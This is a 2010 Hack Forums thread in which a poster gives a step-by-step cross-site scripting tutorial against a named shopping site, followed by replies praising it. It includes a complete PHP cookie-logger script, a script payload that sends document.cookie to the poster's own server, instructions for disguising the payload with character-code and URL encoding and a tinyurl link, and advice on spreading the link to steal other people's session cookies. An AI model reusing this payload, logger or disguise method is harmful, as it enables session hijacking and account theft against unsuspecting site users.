

Forum:[Hack Forums](#)

Thread: [XSS walk through.](#)

VipVince - April 9, 2010, 9:02 am

It takes you to Hackforums.

You can also add images, bear in mind, an image of your choice may appear on the vulnerable page of the website, that does not mean it is defaced, it will disappear after a simple F5 refresh. this is called a Non-persistent XSS vulnerability.

For a site to be defaced with XSS, it needs to be running app's that store user input data, for example, a guestbook or blog could enable a permanent deface, as your script is stored in the database. this is called a persistent XSS vulnerability.

The code for adding an image to an XSS vuln site is:

```

```

^^This basically is the XSS image script with the desired web hosting server and path to the image of my choice, in this case its stored on photobucket.com, my account username is vipvince and the image is called deface.jpg

The overall link looks like this:

http://www.buymichiganproducts.com/Public/ProductDetail.php?id=

The second type of attack, Cookie Logger.

For this we need two files, the cookie logger php file, and an empty txt file for the cookie data to be stored.

Credits go to Kr3w for coding this cookie logger.

```
<?php
/*
Kr3w's Cookie Logger
www.thedefaced.org
*/

$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];

$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
```

```
."Browser: " . $browser . "\n\n";
```

```
$log = "cookies.txt";  
@chmod($log, 0777);
```

```
$f = fopen($log, 'a');  
fwrite($f, $data);  
fclose($f);
```

```
@header("Location: $redirect");
```

```
?>
```

Paste that into notepad and call it log.php, also create an empty notepad file called cookies.txt

Now register on a free web hosting site that will host these files for you, I personally use:

<http://www.vipvince.com/login/>

Upload the two files, now all you have to do is configure the vulnerable website link to redirect to the server the cookie logger is hosted on.

<http://www.buymichiganproducts.com/Public/ProductDetail.php?id=<script>document.location='http://vipvince.com/log.php?+document.cookie;</script>'>

^^Configure just this part to the particular hosting webserver your file is located on, I paste this into my browser, and get an error displayed on the page of the XSS vulnerable site, not lets check the cookies.txt file for any data stored.

[img]<http://i205.photobucket.com/albums/bb181/1-VIP-/print.jpg>[/img]

Success, so we now know this link:

<http://www.buymichiganproducts.com/Public/ProductDetail.php?id=<script>document.location='http://vipvince.com/log.php?+document.cookie;</script>'> is working and stealing cookies as it just done with me.

However the link isnt very convincing, you need to find an online Decimal ASCII converter, here is one below:

http://web.archive.org/web/20080822024525/http://www.vortex.prodigynet.co.uk/misc/ascii_conv.html

Now you need to convert this part into decimal value:

```
<script>document.location='http://vipvince.com/log.php?+document.cookie;</script>
```

The result will look like this:

60, 115, 99, 114, 105, 112, 116, 62, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 39, 104, 116, 116, 112, 58, 47, 47, 118, 105, 112, 118, 105, 110, 99, 101, 46, 116, 51, 53, 46, 99, 111, 109, 47, 99, 111, 111, 107, 105, 101, 46, 112, 104, 112, 63, 43, 100,

111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62

This is decimal ASCII.

Now stage 2.

I want to convert that to hex code so i go to an online hex converter:

<http://gardenersbay.com/tools/ascii-hex/>

```
<script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 39, 32, 104, 116, 116, 112, 58, 47, 47, 118, 105, 112, 118, 105, 110, 99, 101, 46, 116, 51, 53, 46, 99, 111, 109, 47, 99, 111, 111, 107, 47, 99, 111, 111, 107, 105, 101, 46, 112, 104, 112, 63, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));</script>
```

Add the code I have highlighted in green to the start and end of the decimal ASCII code.

This is the Hexed result:

Spoiler ([Click to View](#))

%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%36%30%2c%20%31%31%35%2c%20%39%39%2c%20%31%31%34%2c%20%31%30%35%2c%20%31%31%32%2c%20%31%31%36%2c%20%36%32%2c%20%31%30%30%2c%20%31%31%31%2c%20%39%39%2c%20%31%31%37%2c%20%31%30%39%2c%20%31%30%31%2c%20%31%31%30%2c%20%31%31%36%2c%20%34%36%2c%20%31%30%38%2c%20%31%31%31%2c%20%39%39%2c%20%39%37%2c%20%31%31%36%2c%20%31%30%35%2c%20%31%31%31%2c%20%31%31%30%2c%20%36%31%2c%20%33%39%2c%20%33%32%2c%20%31%30%34%2c%20%31%31%36%2c%20%31%31%36%2c%20%31%31%32%2c%20%35%38%2c%20%34%37%2c%20%34%37%2c%20%31%31%38%2c%20%31%30%35%2c%20%31%31%32%2c%20%31%31%38%2c%20%31%30%35%2c%20%31%31%30%2c%20%39%39%2c%20%31%30%31%2c%20%34%36%2c%20%31%31%36%2c%20%35%31%2c%20%35%33%2c%20%34%36%2c%20%39%39%2c%20%31%31%31%2c%20%31%30%39%2c%20%34%37%2c%20%39%39%2c%20%31%31%31%2c%20%31%31%31%2c%20%31%30%37%2c%20%34%37%2c%20%39%39%2c%20%31%31%31%2c%20%31%31%31%2c%20%31%30%37%2c%20%31%30%35%2c%20%31%30%31%2c%20%31%31%30%2c%20%31%31%36%2c%20%34%36%2c%20%39%39%2c%20%31%31%31%2c%20%31%31%31%2c%20%31%30%37%2c%20%31%30%35%2c%20%31%30%31%2c%20%35%39%2c%20%36%30%2c%20%34%37%2c%20%31%31%35%2c%20%39%39%2c%20%31%31%34%2c%20%31%30%35%2c%20%31%31%32%2c%20%31%31%36%2c%20%36%32%29%29%3b%3c%2f%73%63%72%69%70%74%3e

Then I take the URL of the xss vulnerable site, and add the hex code to it below like this

Spoiler ([Click to View](#))

<http://www.buymichiganproducts.com/Public/ProductDetail.php?id=%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%36%30%2c%20%31%31%35%2c%20%39%39%2c%20%31%31%34%2c%20%31%30%35%2c%20%31%31%32%2c%20%31%31%36%2c%20%36%32%29%29%3b%3c%2f%73%63%72%69%70%74%3e>

[6%2c%20%36%32%2c%20%31%30%30%2c%20%31%31%31%2c%20%39%39%2c%20%31%31%37%2c%20%31%30%39%2c%20%31%30%31%2c%20%31%31%30%2c%20%31%31%36%2c%20%34%36%2c%20%31%30%38%2c%20%31%31%31%2c%20%39%39%2c%20%39%37%2c%20%31%31%36%2c%20%31%30%35%2c%20%31%31%31%2c%20%31%31%30%2c%20%36%31%2c%20%33%39%2c%20%31%30%34%2c%20%31%31%36%2c%20%31%31%36%2c%20%31%31%32%2c%20%35%38%2c%20%34%37%2c%20%34%37%2c%20%31%31%38%2c%20%31%30%35%2c%20%31%31%32%2c%20%31%31%38%2c%20%31%30%35%2c%20%31%31%30%2c%20%39%39%2c%20%31%30%31%2c%20%34%36%2c%20%31%31%36%2c%20%35%31%2c%20%35%33%2c%20%34%36%2c%20%39%39%2c%20%31%31%31%2c%20%31%30%39%2c%20%34%37%2c%20%39%39%2c%20%31%31%31%2c%20%31%31%31%2c%20%31%30%37%2c%20%31%30%35%2c%20%31%30%31%2c%20%34%36%2c%20%31%31%32%2c%20%31%30%34%2c%20%31%31%32%2c%20%36%33%2c%20%34%33%2c%20%31%30%30%2c%20%31%31%31%2c%20%39%39%2c%20%31%31%37%2c%20%31%30%39%2c%20%31%30%31%2c%20%31%31%30%2c%20%31%31%36%2c%20%34%36%2c%20%39%39%2c%20%31%31%31%2c%20%31%31%31%2c%20%31%30%37%2c%20%31%30%35%2c%20%31%30%31%2c%20%35%39%2c%20%36%30%2c%20%34%37%2c%20%31%31%35%2c%20%39%39%2c%20%31%31%34%2c%20%31%30%35%2c%20%31%31%32%2c%20%31%31%36%2c%20%36%32%29%29%3b%3c%2f%73%63%72%69%70%74%3e](http://tinyurl.com/yfxluvl6)

Now all you have to do is take the Hexed URL above^^, to [tinyurl.com](http://tinyurl.com/yfxluvl6) which will shorten it down for you to something like <http://tinyurl.com/yfxluvl6>

Thats the cookie logger site and grabber fully encoded. Alot more believable now and more likely to be clicked.

So now basically when <http://tinyurl.com/yfxluvl6> is clicked the cookie is taken.

I now need to email or send this on a forum, once its clicked i get the cookie from the particular forum it is clicked on etc, for example,If i pasted it on a bebo blog, and a user clicks it while on bebo, I would get his/her bebo cookie.

I want to give a thanks and vouch for Cybersecurity as his Ebook really helped to further my XSS knowledge, and I would advise anyone interested in XSS to get a copy of his book, as it does have alot of useful information.?

Dark Molecule - April 9, 2010, 9:07 am
nice tut vince :) very well explained

tepeyolotl - April 9, 2010, 9:28 am
hmmm nice post, it's a bad thing the site i was planning uses filtering, you can post with html but they delete all in <script> tags

Vaksar - April 10, 2010, 3:12 am
Nice post. Not many members are interested since they are skids and like RATs and Keyloggers. Good job and thanks for vouch :) !

Kampenny - April 10, 2010, 4:14 am
Cheers! I know a couple of XSS vulnerable sites :]

homm88 - April 10, 2010, 5:21 am
Great guide, tyvm. :)

tipliedown - April 24, 2010, 10:27 pm

very nice guide... thanks ?

skate413 - April 24, 2010, 10:39 pm

good stuff, really helped me out.

quake_lizard99 - April 25, 2010, 1:39 am

Always been a fan of VipVince tutorial..

Thanks for posting..

Dr. Hobo - April 25, 2010, 1:49 am

This should be stickied in the Website & Forum hacking section
just saying

-mothered- - April 25, 2010, 2:19 am

Great tut there mate. Well documented and elaborated from beginning to end, along with supported examples and reference links.

A very nice contribution Indeed :)

Zero_Code™ - April 25, 2010, 2:33 am

nice tut,will save it ;-)

'Snorlax - April 25, 2010, 4:52 am

Nice guide Vince.

Good explained.

whininguser - April 25, 2010, 5:30 am

Nice guide. I was quite confused about how to use XSS before